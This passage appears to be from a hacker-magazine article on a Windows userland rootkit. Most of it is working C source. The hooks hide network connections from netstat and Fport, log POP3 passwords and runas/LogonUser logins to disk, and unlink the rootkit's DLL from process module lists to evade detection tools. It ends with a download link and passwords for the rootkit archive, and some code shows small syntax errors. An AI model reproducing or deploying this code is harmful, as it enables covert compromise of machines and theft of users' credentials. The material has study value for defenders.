The functions takes three parameters. The last one, border, decides whether the connection table should be sorted. Then, PdwSize specifies the size of the buffer pointer by the pTcpTable parameter on input. On output, if the buffer is not large enough to hold the returned connection table, the function sets this parameter equal to the required buffer size.
Finally, pTcpTable points to a buffer that receives the TCP connection table as a MIB_TCPTABLE structure. A sample retrieving the TCP connection table is available online. GetTcpTable.

The MIB_TCPTABLE structure contains a table of TCP connections.
typedef struct _MIB_TCPTABLE {
  DWORD dwNumEntries;
  MIB_TCPROW table[ANY_SIZE];
} MIB_TCPTABLE,
*PMIB_TCPTABLE;

table is a pointer to a table of TCP connections implemented as an array of MIB_TCPROW structures, one for each connection.

A MIB_TCPROW stands as follows:
typedef struct _MIB_TCPROW {
  DWORD dwState;
  DWORD dwLocalAddr;
  DWORD dwLocalPort;
  DWORD dwRemoteAddr;
  DWORD dwRemotePort;
} MIB_TCPROW,
*PMIB_TCPROW;


While the dwState describes the state of a given connection, dwLocalAddr, dwLocalPort, dwRemoteAddr, dwRemotePort inform about the source and destination of the connection. We're interested in dwLocalPort and dwRemotePort to determine if the port belongs to the secret range (between RTK_PORT_HIDE_MIN and RTK_PORT_HIDE_MAX) and therefore must be hidden.
To hide a row in TCP table if needed, the MyGetTcpTable function shifts the whole array, thus overwriting the unwanted memory zone.

/* MyGetTcpTable replacement for GetTcpTable.
  (error checks stripped)
*/
DWORD WINAPI MyGetTcpTable(PMIB_TCPTABLE_ pTcpTable, PDWORD pdwSize, BOOL
bOrder)
{
        u_long LocalPort=0; /* remote port on local machine endianness*/
        u_long RemotePort=0; /* local port on local machine endianness */
        DWORD dwRetVal=0, numRows=0; /* counters */
        int i,j;

        /*Call original function, if no error, strip unwanted MIB_TCPROWs*/
        dwRetVal = (*fGetTcpTable)(pTcpTable, pdwSize, bOrder);
        if(dwRetVal == NO_ERROR)
        {
                /* for each row, test if it must be stripped */
                for (i=0; i<(int)pTcpTable->dwNumEntries; i++)
                {
                        LocalPort = (u_short) fhtons((u_short)
                           (pTcpTable)->table[i].dwLocalPort);

                        RemotePort = (u_short) fhtons((u_short)
                           (pTcpTable)->table[i].dwRemotePort);
        
                        /* If row must be filtered */
                        if( IsHidden(LocalPort, RemotePort) )
                        {
                                /* Shift whole array */
                                for(j=i; j<((int)pTcpTable->dwNumEntries - 1);j++)
                                        memcpy( &(pTcpTable->table[i]),
                                                  &(pTcpTable->table[i+1]),
                                                  sizeof(MIB_TCPROW_));

                                /* Erase last row */
                                memset( &(pTcpTable->table[j]),
                                          0x00, sizeof(MIB_TCPROW_));

                                /* Reduce array size */
                                (*pdwSize)-= sizeof(MIB_TCPROW_);
                                (pTcpTable->dwNumEntries)--;
                        }
                }
        }

        return dwRetVal;
}


Calling GetTcpTable is not the only way to get network statistics under windows 2000. Some programs, such as fport even provide the correspondence stream/pid and therefore deal directly with the TCP driver through the DeviceIoControl function. Hijacking this API is not a good idea as I explained before. In consequence, the approach I adopted is to target specific functions used by widespread security tools rather than hooking a level lower by replacing DeviceIoControl.

Defeating netstat:
In this version of windows, fport isn't the only one that deals directly with the TCP/UDP driver. This is also the case of netstat. To defeat these programs, we just have to replace functions that are involved in network statistic processing from DeviceIoControl call to screen output.

With netstat, the idea is to hook the CharToOemBuffA API that is used to perform characters set translations for each line before it is written to console output.

BOOL CharToOemBuff(
    LPCTSTR lpszSrc, /* Pointer to the null-terminated string to
                         translate. */
    LPSTR lpszDst, /* Pointer to the buffer for the translated
                         string. */
    DWORD cchDstLength /* Specifies the number of TCHARs to translate */
);


If the rootkit notices itself being translating a string containing a hidden port, it just calls the function with a blank buffer, so the translation will result in a blank buffer, and output won't show anything.

/* MyCharToOemBuffA : replace the function used by nestat to convert strings to a different charset before it sends it to output, so we can get rid of some awkward lines... :)
*/
BOOL WINAPI MyCharToOemBuff(LPCTSTR lpszSrc, LPSTR lpszDst,
DWORD cchDstLength)
{
        /* If the line contains our port range, we simply get rid of
        it. */
        if(strstr(lpszSrc,(char*)RTK_PORT_HIDE_STR)!=NULL)
        {
                /* We call the function, providing a blank string */
                return (*fCharToOemBuffA)("", lpszDst, cchDstLength);
        }
        return (*fCharToOemBuffA)(lpszSrc, lpszDst, cchDstLength);
}


As netstat calls the function for each line it writes, there is not problem in avoiding whole ones.

Defeating Fport:
However, this is not the case of Fport, which processes output character by character. I chose to hook the WriteFile API, and set up a buffer mechanism so output is done line by line, and hiding therefore simpler.

/* Convert FPORT.exe's output mode from char by char to line by line to
allow hiding of lines containing ports to hide
*/
BOOL WINAPI MyWriteFile(
  HANDLE hFile, /* handle to file to write to */
  LPCVOID lpBuffer, /* pointer to data to write to file */
  DWORD nNumberOfBytesToWrite, /* number of bytes to write */
  LPDWORD lpNumberOfBytesWritten, /* pointer to number of bytes written*/
  LPOVERLAPPED lpOverlapped /* pointer to structure for overlapped
) I/O*/
{
        BOOL bret=TRUE; /* Return value */
        char* chr = (char*)lpBuffer;
        static DWORD total_len=0; /* static length counter */
        static char PreviousChars[2048*10]; /* static characters' buffer
   (bof?) */

        /* Add the new character */
        PreviousChars[total_len++] = chr[0];
        /* Check for line termination */
        if(chr[0] == '/r')
        {

                PreviousChars[total_len] = '/n';
                PreviousChars[++total_len] = '/0';

                /* show this line only if it contains no hidden port / process prefix */
                if(strstr((char*)PreviousChars,(char*)RTK_PORT_HIDE_STR)==NULL
                        && strstr((char*)PreviousChars,(char*)RTK_PROCESS_CHAR)==NULL)
                {
                        
                        /* Valid line, so process output */
                        bret = fWriteFile(hFile, (void*)PreviousChars,
                            strlen((char*)PreviousChars),
                            lpNumberOfBytesWritten,
                            lpOverlapped);
                }
                
                /* Clear settings */
                memset(PreviousChars, 0, 2048);
                total_len= 0;
        }

        /* fakes the var, so fport can't see output wasn't done */
        (*lpNumberOfBytesWritten) = nNumberOfBytesToWrite;

        return bret;
}


The case of windows XP:
Under Windows XP programs have not to deal with hell by interacting directly the TCP/UDP driver as the windows API provides sufficient statistics. Thus, the most widespread network tools (netstat, Fport, Tcpview) rely whether on AllocateAndGetTcpExTableFromStack (XP only) or on the classic GetTcpTable depending on the needs. So, to cover the problem under windows XP, the rootkit just needs to replace the AllocateAndGetTcpEx TableFromStack API. Searching the MSDN about this functions is useless. This is an undocumented function. However it exists some useful samples on the web such as Netstatp provided by SysInternals that are quite explicit. The AllocateAndGetTcpExTableFromStack function takes the following parameters.

DWORD AllocateAndGetTcpExTableFromStack(
  PMIB_TCPEXTABLE *pTcpTable, /* buffer for the connection table */
  BOOL bOrder, /* sort the table? */
  HANDLE heap, /* handle to process heap obtained by
   calling GetProcessHeap() */
  DWORD zero, /* undocumented */
  DWORD flags /* undocumented */
)


The first parameter is the one interesting. It points to a MIB_TCPEXTABLE structure, that stands for PMIB_TCPTABLE extended, looking as follows.

/* Undocumented extended information structures available only on XP and higher */
typedef struct {
  DWORD dwState; /* state of the connection */
  DWORD dwLocalAddr; /* address on local computer */
  DWORD dwLocalPort; /* port number on local computer */
  DWORD dwRemoteAddr; /* address on remote computer */
  DWORD dwRemotePort; /* port number on remote computer */
  DWORD dwProcessId; /* process identifier */
} MIB_TCPEXROW, *PMIB_TCPEXROW;

typedef struct {
 DWORD dwNumEntries;
 MIB_TCPEXROW table[];
} MIB_TCPEXTABLE, *PMIB_TCPEXTABLE;


This is the same as the structures employed to work with GetTcpTable, so the replacement function's job will be somewhat identical.

/*
AllocateAndGetTcpExTableFromStack replacement. (error checks
stripped)
*/
DWORD WINAPI MyAllocateAndGetTcpExTableFromStack(
  PMIB_TCPEXTABLEE *pTcpTable,
  BOOL bOrder,
  HANDLE heap,
  DWORD zero,
  DWORD flags
)
{
/* error handler, TcpTable walk index, TcpTable sort index */
DWORD err=0, i=0, j=0;
 char psname[512]; /* process name */
 u_long LocalPort=0, RemotePort=0; /* local & remote port */

 
 /* Call genuine function ... */
 err = fAllocateAndGetTcpExTableFromStack( pTcpTable, bOrder, heap,
 zero,flags );

 /* Exit immediately on error */
 if(err)
  return err;

 /* ... and start to filter unwanted rows. This will hide all
 opened/listening/connected/closed/... sockets that belong to
 secret range or reside in a secret process
 */
 /* for each process... */
 for(i = 0; i < ((*pTcpTable)->dwNumEntries); j=i)
 {
  /* Get process name to filter secret processes' sockets */
  GetProcessNamebyPid((*pTcpTable)->table[i].dwProcessId,
  (char*)psname);
  /* convert from host to TCP/IP network byte order
        (which is big-endian)*/
  LocalPort = (u_short) fhtons((u_short)
  (*pTcpTable)->table[i].dwLocalPort);
  RemotePort = (u_short) fhtons((u_short)
  (*pTcpTable)->table[i].dwRemotePort);

  /* Decide whether to hide row or not */
  if( !_strnicmp((char*)psname, RTK_FILE_CHAR,
       strlen(RTK_FILE_CHAR))
       || IsHidden(LocalPort, RemotePort) )
  {
   /* Shift whole array*/
   for(j=i; j<((*pTcpTable)->dwNumEntries); j++)
    memcpy( (&((*pTcpTable)->table[j])),
          (&((*pTcpTable)->table[j+1])),
              sizeof(MIB_TCPEXROWEx));

   /* clear last row */
   memset( (&((*pTcpTable)->table[((
           (*pTcpTable)->dwNumEntries)-1)])),
            0, sizeof(MIB_TCPEXROWEx));
   
   /* decrease row number */
   ((*pTcpTable)->dwNumEntries)-=1;
   

   /* do the job again for the current row, that may also
      contain a hidden process */
   continue;
  }

   /* this row was ok, jump to the next */
  i++;
 }
  return err;
}


These replacement functions reside in kNTINetHide.c.

Global TCP backdoor / password grabber:
As the rootkit is injected in almost every user process, there's a possibility to set up a global TCP backdoor by hijacking recv and WSARecv, allowing transforming any application (including a web server), into an opportune backdoor. This is complicated enough to be a whole project in itself so I focused on a password grabber virtually able to hijack passwords sent by any mail client kSentinel. Currently, it targets at Outlook and Netscape mail client but may easily be extended to other applications by playing with the #defines. It dynamically hijacks the TCP stream when the mail client deals with remote server. Therefore, it allows to grab USER and PASS commands to be used for later privileges escalation.

/* POP3 Password grabber. Replaces the send() socket function. */
int WINAPI MySend(SOCKET s, const char FAR * buf, int len, int flags)
{
        int retval=0; /* Return value */
        char* packet; /* Temporary buffer */
        
        if(!fSend) /* no one lives for ever (error check) */
                return 0;
        
        /* Call original function */
        retval = fSend(s, buf, len, flags);

        /* packet is a temp buffer used to deal with the buf parameter
           that may be in a different memory segment, so we use the
           following memcpy trick.
        */
        packet = (char*) malloc((len+1) * sizeof(char));
        memcpy(packet, buf, len);
        
        /* Check if memory is readable */
        if(!IsBadStringPtr(packet, len))
        {
                /* Filter interesting packets (POP3 protocol) */
                if(strstr(packet, "USER") || strstr(packet, "PASS"))
                {
                        /* Interesting packet found! */

                        /* Write a string to logfile (%user
                        profile%/NTILLUSION_PASSLOG_FILE) */

                        Output2LogFile("'%s'/n", packet);
                }
        }

        
         free(packet);
 
     return retval;
}


FTP logins and passwords may also be grabbed by adding the proper expression in the filter condition.

Privilege escalation:
Catching POP3 and FTP passwords may allow spreading on the local machine since users often use the same password on different accounts. Anyway when grabbing a password used to login as another user on the machine, there's no doubt that the password will be efficient. Indeed, the rootkit logs attempts to impersonate another user from the desktop. This is the case when the user employs the runas command or selects "the run as user" menu by right clicking on an executable. The API involved in these situations are redirected so any successful login is carefully saved on hard disk for further use.
This is achieved through the replacement of LogonUserA and CreateProcess WithLogonW.

The runas tool present on windows 2000/XP relies on CreateProcessWith LogonW. Its replacement follows.

/* MyCreateProcessWithLogonW : collects logins/passwords employed to
create a process as a user. This Catches runas passwords. (runas
/noprofile /user:MyBox/User cmd)
*/
BOOL WINAPI MyCreateProcessWithLogonW(
LPCWSTR lpUsername, /* user name for log in request */
LPCWSTR lpDomain, /* domain name for log in request */
LPCWSTR lpPassword, /* password for log in request */
DWORD dwLogonFlags, /* logon options*/
LPCWSTR lpApplicationName, /* application name... */
LPWSTR lpCommandLine, /* command line */
DWORD dwCreationFlags, /* refer to CreateProcess*/
LPVOID lpEnvironment, /* environment vars*/
LPCWSTR lpCurrentDirectory, /* base directory */
LPSTARTUPINFOW lpStartupInfo, /* startup and process infor, see
CreateProcess */
LPPROCESS_INFORMATION lpProcessInfo)
{
        BOOL bret=false; /* Return value */
        char line[1024]; /* Buffer used to set up log lines */

        /* 1st of all, log on the user */
        bret = fCreateProcessWithLogonW(lpUsername,lpDomain,lpPassword,
    dwLogonFlags,lpApplicationName,lpCommandLine,
        dwCreationFlags,lpEnvironment,lpCurrentDirectory,
        lpStartupInfo,lpProcessInfo);
        
        /* Inject the created process if its name doesn't begin by RTK_FILE_CHAR (protected process) */
        /* Stripped [...] */

        /* Log the information for further use */
        memset(line, 0, 1024);
        if(bret)
        {
                sprintf(line, "Domain '%S' - Login '%S' - Password '%S'
        LOGON SUCCESS", lpDomain, lpUsername, lpPassword);
        }
        else
        {
                sprintf(line, "Domain '%S' - Login '%S' - Password '%S' LOGON FAILED", lpDomain, lpUsername, lpPassword);
        }

        /* Log the line */
        Output2LogFile((char*)line);

  return bret;
}


Under windows XP, explorer.exe offers a GUI to perform logon operations from the desktop. This relies on LogonUser that may be replaced as below.
We're interested only in lpszUsername, lpszDomain and lpszPassword.

/* MyLogonUser : collects logins/passwords employed to log on from the local station */
BOOL WINAPI MyLogonUser(LPTSTR lpszUsername, LPTSTR lpszDomain, LPTSTR
lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken)
{
        char buf[1024]; /* Buffer used to set up log lines */
        
        /* Set up buffer */
        memset(buf, 0, 1024);
        sprintf(buf, "Login '%s' / passwd '%s' / domain '%'/n",
        lpszUsername,
        lpszPassword,
        lpszDomain);
        /* Log to disk */
        Output2LogFile((char*)buf);

        /* Perform LogonUser call */
        return fLogonUser(lpszUsername, lpszDomain, lpszPassword,
        dwLogonType, dwLogonProvider, phToken);
}


The grabbed data are sent to a log file at user profile's root and may be encrypted using a simple 1 byte XOR key.

Module stealth:
As soon as it is loaded into a process, the rootkit hides its DLL. Therefore, if the system does not hook LdrLoadDll or its equivalent at kernel level, it appears that the rookit was never injected into processes. The technique used below is very efficient against all programs that rely on the windows API for enumerating modules. Due to the fact that EnumProcessModules/Module32First/Module32Next/... depend on NtQuerySystem Information, and because this technique foils the manner this API retrieves information, there's no way to be detected by this intermediary.
This defeats programs enumerating processes' modules such as ListDlls, ProcessExplorer (See ListDLLS and Procexp), and VICE rootkit detector.

The deception is possible in ring 3 since the kernel maintains a list of each loaded DLL for a given process inside its memory space, in userland.
Therefore a process may affect himself and overwrite parts of its memory in order to hide one of its module. These data structures are of course undocumented but can be recovered by using the Process Environment Block (PEB), located at FS:0x30 inside each process. The function below returns the address of the PEB for the current process.

DWORD GetPEB()
{
        DWORD* dwPebBase = NULL;
        /* Return PEB address for current process
           address is located at FS:0x30 */
                __asm
                {
                        push eax
                        mov eax, FS:[0x30]
                        mov [dwPebBase], eax
                        pop eax
                }
        return (DWORD)dwPebBase;
}


The role of the PEB is to gather frequently accessed information for a process as follows. At address FS:0x30 (or 0x7FFDF000) stands the following members of the PEB.

/* located at 0x7FFDF000 */
typedef struct _PEB
{
  BOOLEAN InheritedAddressSpace;
  BOOLEAN ReadImageFileExecOptions;
  BOOLEAN BeingDebugged;
  BOOLEAN Spare;
  HANDLE Mutant;
  PVOID ImageBaseAddress;
  PPEB_LDR_DATA LoaderData;
  PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
  [...]
  ULONG SessionId;
} PEB, *PPEB;


The interesting member in our case is PPEB_LDR_DATA LoaderData that contains information filled by the loaded at startup, and then when happens a DLL load/unload.

typedef struct _PEB_LDR_DATA
{
  ULONG Length;
  BOOLEAN Initialized;
  PVOID SsHandle;
  LIST_ENTRY InLoadOrderModuleList;
  LIST_ENTRY InMemoryOrderModuleList;
  LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;


The PEB_LDR_DATA structure contains three LIST_ENTRY that are part of doubly linked lists gathering information on loaded DLL in the current process.
InLoadOrderModuleList sorts modules in load order, InMemoryOrderModuleList in memory order, and InInitializationOrderModuleList keeps track of their load order since process start.

These doubly linked list contains pointers to LDR_MODULE inside the parent structure for next and previous module.

typedef struct _LDR_MODULE {

  LIST_ENTRY InLoadOrderModuleList;
  LIST_ENTRY InMemoryOrderModuleList;
  LIST_ENTRY InInitializationOrderModuleList;
  PVOID BaseAddress;
  PVOID EntryPoint;
  ULONG SizeOfImage;
  UNICODE_STRING FullDllName;
  UNICODE_STRING BaseDllName;
  ULONG Flags;
  SHORT LoadCount;
  SHORT TlsIndex;
  LIST_ENTRY HashTableEntry;
  ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;


In fact, this is not exactly true since LIST_ENTRY have a special behavior. Indeed, the base address of the surrounding object is computed by subtracting the offset of the LIST_ENTRY member from it's address (&LIST_ENTRY), because LIST_ENTRY Flink and Blink members always point to the another LIST_ENTRY inside the list, not to the owner of the list node.
This makes it possible to interlink objects in multiple lists without any interference as explains Sven B. Schreiber in Undocumented Windows 2000 Secrets. To access InLoadOrderModuleList elements, we don't have to bother about offsets since it is the first element of the LDR_MODULE structure so it just needs to be casted to get a LDR_MODULE from a LIST_ENTRY. In the case of InMemoryOrderModuleList we'll have to subtract sizeof(LIST_ENTRY).
Similarly, to access the LDR_MODULE from InInitializationOrderModuleList we just subtract 2*sizeof(LIST_ENTRY).
The following sample demonstrates how to walk one of these lists and throw a module away according to its name (szDllToStrip).

/* Walks one of the three modules double linked lists referenced by the PEB (error check stripped) ModuleListType is an internal flag to determine on which list to operate :
LOAD_ORDER_TYPE <---> InLoadOrderModuleList
MEM_ORDER_TYPE <---> InMemoryOrderModuleList
INIT_ORDER_TYPE <---> InInitializationOrderModuleList
*/
int WalkModuleList(char ModuleListType, char *szDllToStrip)
{
        int i; /* internal counter */
        DWORD PebBaseAddr, dwOffset=0;
        
        /* Module list head and iterating pointer */
        PLIST_ENTRY pUserModuleListHead, pUserModuleListPtr;
        
        /* PEB->PEB_LDR_DATA*/
        PPEB_LDR_DATA pLdrData;
        /* Module(s) name in UNICODE/AINSI*/
        PUNICODE_STRING pImageName;
        char szImageName[BUFMAXLEN];
        
        /* First, get Process Environment Block */
        PebBaseAddr = GetPEB(0);

        /* Compute PEB->PEB_LDR_DATA */
        pLdrData=(PPEB_LDR_DATA)(DWORD *)(*(DWORD *)(PebBaseAddr +
                                                PEB_LDR_DATA_OFFSET));

        /* Init linked list head and offset in LDR_MODULE structure */
        if(ModuleListType == LOAD_ORDER_TYPE)
        {
                /* InLoadOrderModuleList */
                pUserModuleListHead = pUserModuleListPtr =
                (PLIST_ENTRY)(&(pLdrData->ModuleListLoadOrder));
                dwOffset = 0x0;
        } else if(ModuleListType == MEM_ORDER_TYPE)
        {
                /* InMemoryOrderModuleList */
                pUserModuleListHead = pUserModuleListPtr =
                (PLIST_ENTRY)(&(pLdrData->ModuleListMemoryOrder));
                dwOffset = 0x08;
        } else if(ModuleListType == INIT_ORDER_TYPE)
        {
                /* InInitializationOrderModuleList */
                pUserModuleListHead = pUserModuleListPtr =
                (PLIST_ENTRY)(&(pLdrData->ModuleListInitOrder));
                dwOffset = 0x10;
        }

        /* Now walk the selected list */
        do
        {
                /* Jump to next LDR_MODULE structure */
                pUserModuleListPtr = pUserModuleListPtr->Flink;
                pImageName = (PUNICODE_STRING)(
                             ((DWORD)(pUserModuleListPtr)) +
                             (LDR_DATA_PATHFILENAME_OFFSET-dwOffset));

                /* Decode unicode string to lower case on the fly */
                for(i=0; i < (pImageName->Length)/2 && i<BUFMAXLEN;i++)
                  szImageName[i] = LOWCASE(*( (pImageName->Buffer)+(i) ));
                /* Null terminated string */
                szImageName[i] = '/0';

                /* Check if it's target DLL */
                if( strstr((char*)szImageName, szDllToStrip) != 0 )
                {
                        /* Hide this dll : throw this module away (out of
                           the double linked list)
                        (pUserModuleListPtr->Blink)->Flink =
                                (pUserModuleListPtr->Flink);
                        (pUserModuleListPtr->Flink)->Blink =
                                (pUserModuleListPtr->Blink);
                        /* Here we may also overwrite memory to prevent
                           recovering (paranoid only ;p) */
                }
        } while(pUserModuleListPtr->Flink != pUserModuleListHead);

        return FUNC_SUCCESS;
}


To process the three linked lists, the rootkit calls the HideDll function below.
int HideDll(char *szDllName)
{
        return ( WalkModuleList(LOAD_ORDER_TYPE, szDllName)
                        && WalkModuleList(MEM_ORDER_TYPE, szDllName)
                        && WalkModuleList(INIT_ORDER_TYPE, szDllName) );
}


I never saw this method employed to hide a module but instead to recover the base address of a DLL in elaborated shell-codes PEBSHLCDE.
To end with this technique, I'll say that it is from far efficient against ring 3 programs but becomes a little bit ineffective against a personal firewall acting at kernel level, such as Sygate Personal Firewall. This one cannot be defeated using the presented method and analysis of its source code shows as it sets hooks in the kernel syscall table, thereby being informed as soon as a DLL is loaded into any process and subsequent hiding is useless. In a word, personal firewalls are the worst enemies of userland rootkits.

Conclusion:
The mechanisms presented in this paper are the result of long research and experimentations. It shows up that ring 3 rootkit are an effective threat for nowadays computer systems but may be defeated by a clever analysis of the weak points they target. So this type of rootkit isn't perfect as data may still be detected, even though they're from far more difficult to notice. Keep in mind that the most important thing is not to cause suspicion, and therefore not be detected. In a word, ring 3 rootkits are perfect meantime to get administrative privilege on the local machine and install a most adapted ring 0 rootkit that will be more suitable to reach the maximum stealth.

Resources:
- [NTillusion rootkit] http://www.syshell.org/?r=../phrack62/NTIllusion.rar
Login/Pass : phrackreaders/ph4e#ho5
Rar password : 0wnd4wurld

- [HOOKS] A HowTo for setting system wide hooks http://www.codeguru.com/Cpp/W-P/system/misc/article.php/c5685/

- [3WAYS] Three ways to inject your code into another process http://www.codeguru.com/Cpp/W-P/system/processesmodules/article.php/c5767/

- [LSD] Win32 assembly components http://www.lsd-pl.net/documents/winasm-1.0.1.pdf

- [THCONTEXT] GetThreadContext remote code triggering proof of concept http://www.syshell.org/?r=Rootkit/Code_Injection/GetSetThreadContex/kCtxIn
ject/


- [REMOTETH] http://win32.mvps.org/processes/remthread.html

- [HXDEF] Hacker Defender (Holy_Father 2002) http://rootkit.host.sk/knowhow/hookingen.txt

- [MSDN] Microsoft Developers Network http://msdn.microsoft.com/library/

- [FPORT] Network Tool http://foundstone.com/resources/freetools/fport.zip

- [TCPVIEW] Network Tool http://www.sysinternals.com/ntw2k/source/tcpview.shtml
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值